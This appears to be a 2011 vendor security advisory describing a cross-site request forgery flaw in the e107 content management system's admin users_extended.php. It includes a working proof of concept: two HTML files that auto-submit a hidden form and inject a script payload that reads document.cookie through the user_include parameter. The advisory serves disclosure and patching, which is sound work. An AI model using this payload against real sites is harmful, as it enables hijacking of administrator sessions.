Stay in touch with us: Facebook | Twitter | LinkedIn | Newsletter
ImmuniWeb® by High-Tech Bridge


High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Cross-site Request Forgery in e107

Advisory ID:HTB23004
Product:e107 website system
Vendor:e107
Vulnerable Versions:0.7.25 and probably prior
Tested Version:0.7.25
Advisory Publication:May 25, 2011 [without technical details]
Vendor Notification:May 25, 2011
Public Disclosure:June 15, 2011
Latest Update:March 23, 2012
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerabilities in e107 which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in e107
The vulnerability exists due to insufficient verification of the request origin in e107_admin/users_extended.php. A remote attacker can trick a logged-in administrator into following a specially crafted link and execute arbitrary HTML and script code via the "user_include" HTTP POST parameter in administrator`s browser in context of vulnerable website.

Exploitation example:
poc.html
<script>
setTimeout("document.getElementById('f1').src='http://HOST/e107_admin/ users_extended.php'",2000);
</script>
<iframe id=f1 src='form.html'></iframe>

form.html
<form method="POST" action="http://HOST/e107_admin/users_extended.php?editext" name=m>
<input type="hidden" name="user_field" value="abcde1f1">
<input type="hidden" name="user_text" value="12121">
<input type="hidden" name="user_type" value="1">
<input type="hidden" name="user_include" value='"><script>alert(document.cookie)</script>'>
<input type="hidden" name="add_field" value="1">
<input type="hidden" name="user_parent" value="0">
<input type="hidden" name="user_required" value="0">
<input type="hidden" name="user_applicable" value="255">
<input type="hidden" name="user_read" value="0">
<input type="hidden" name="user_write" value="253">
<input type="hidden" name="user_hide" value="0">
<input type=submit>
</form>
<script>
document.m.submit();
</script>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Upgrade to 0.7.26 or later

More Information:
http://e107.org/news.php?extend.884.2
http://wiki.e107.org/index.php?title=Release_Notes_0.7.26


References:
[1] High-Tech Bridge Advisory HTB23004 - https://www.htbridge.com/advisory/HTB23004 - Cross-site Request Forgery in e107
[2] e107 - http://e107.org - e107 is an Advanced Content Publishing Solution for Website Pages, Documents, Menus and Links (Content Management System) powered by PHP and MySQL.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments and Opinions


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.